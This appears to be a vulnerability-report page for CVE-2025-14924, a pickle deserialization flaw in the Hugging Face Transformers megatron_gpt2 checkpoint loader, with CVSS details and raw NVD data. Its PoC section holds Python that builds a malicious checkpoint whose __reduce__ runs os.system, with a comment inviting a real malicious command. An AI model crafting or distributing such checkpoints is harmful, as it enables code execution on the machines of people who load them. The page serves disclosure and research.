Security Vulnerability Report
中文
CVE-2025-14924 CVSS 7.8 HIGH

CVE-2025-14924

Published: 2025-12-23 21:15:48
Last Modified: 2026-01-15 16:47:43

Description

Hugging Face Transformers megatron_gpt2 Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of checkpoints. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27984.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:huggingface:transformers:4.55.0:*:*:*:*:*:*:* - VULNERABLE
Hugging Face Transformers < 修复版本
Transformers megatron_gpt2 checkpoint loader (all versions prior to patch)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14924 PoC - Malicious megatron_gpt2 checkpoint import pickle import os class MaliciousPayload: def __reduce__(self): # Replace this with actual malicious command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) # Create malicious checkpoint data malicious_data = { 'model_state_dict': {'weight': MaliciousPayload()}, 'checkpoint_version': 'megatron_gpt2', 'metadata': {'version': '1.0'} } # Save as malicious checkpoint file with open('malicious_megatron_checkpoint.pt', 'wb') as f: pickle.dump(malicious_data, f) print("Malicious checkpoint created: malicious_megatron_checkpoint.pt") print("Load this file using Transformers to trigger RCE") # Example loading code that triggers the vulnerability: # from transformers import AutoModel # model = AutoModel.from_pretrained('./malicious_checkpoint/') # Or with custom checkpoint loader for megatron_gpt2

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14924", "sourceIdentifier": "[email protected]", "published": "2025-12-23T21:15:47.600", "lastModified": "2026-01-15T16:47:43.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hugging Face Transformers megatron_gpt2 Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of checkpoints. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27984."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:huggingface:transformers:4.55.0:*:*:*:*:*:*:*", "matchCriteriaId": "4406F5BE-6FBD-41E2-8912-607A1214111B"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1141/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}